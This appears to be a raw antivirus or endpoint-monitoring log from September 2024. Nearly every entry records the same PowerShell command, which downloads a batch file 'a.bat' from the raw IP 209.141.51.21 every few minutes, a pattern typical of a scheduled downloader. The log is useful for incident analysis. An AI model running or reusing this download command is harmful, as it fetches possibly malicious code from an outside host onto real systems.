C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:13:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:15:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:18:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:20:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:23:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:26:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:28:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:31:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:33:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:36:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:38:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:41:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:43:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:46:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:48:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:51:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:53:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:56:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 21:58:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:01:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:03:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:06:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:08:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:11:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:13:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:16:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:18:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:21:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:23:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:26:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:28:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:31:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:33:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:36:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:38:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:41:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:43:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:46:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:48:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:51:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:53:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:56:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 22:58:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 23:01:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 23:03:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 23:04:58 AVAVER: 21.2.2455 AR2: 240830 defs: 24091402 2024-09-14 23:04:58 ARPOT2: Start 2200 2024-09-14 23:04:58 AR2CFG: 240830 2024-09-14 23:04:58 AR2DEV: Start 1 Driver: 210305 2024-09-14 23:06:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 23:08:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 23:11:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 23:14:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 23:16:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 23:19:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 23:21:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 23:24:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 23:26:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 23:29:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 23:31:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 23:34:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 23:36:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 23:39:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 23:41:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 23:44:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 02:18:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 02:20:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 02:23:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 02:25:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 02:28:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 02:30:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 02:33:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 02:35:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 02:38:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 02:40:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 02:43:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 02:45:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 02:48:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 02:50:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 02:53:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 02:55:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 02:58:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:00:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:03:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:05:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:08:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:10:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:13:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:15:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:18:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:20:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:23:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:25:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:28:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:30:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:33:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:35:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:38:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:40:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:43:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:45:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:48:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:50:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:53:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:55:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 03:58:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:00:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:03:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:05:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:08:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:10:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:13:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:15:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:18:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:20:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:23:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:25:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:28:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:30:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:33:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:35:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:38:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:40:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:43:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:45:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:48:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:50:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:53:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:55:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 04:58:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:00:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:03:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:05:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:08:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:10:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:13:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:15:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 05:18:20 NOTIFY: 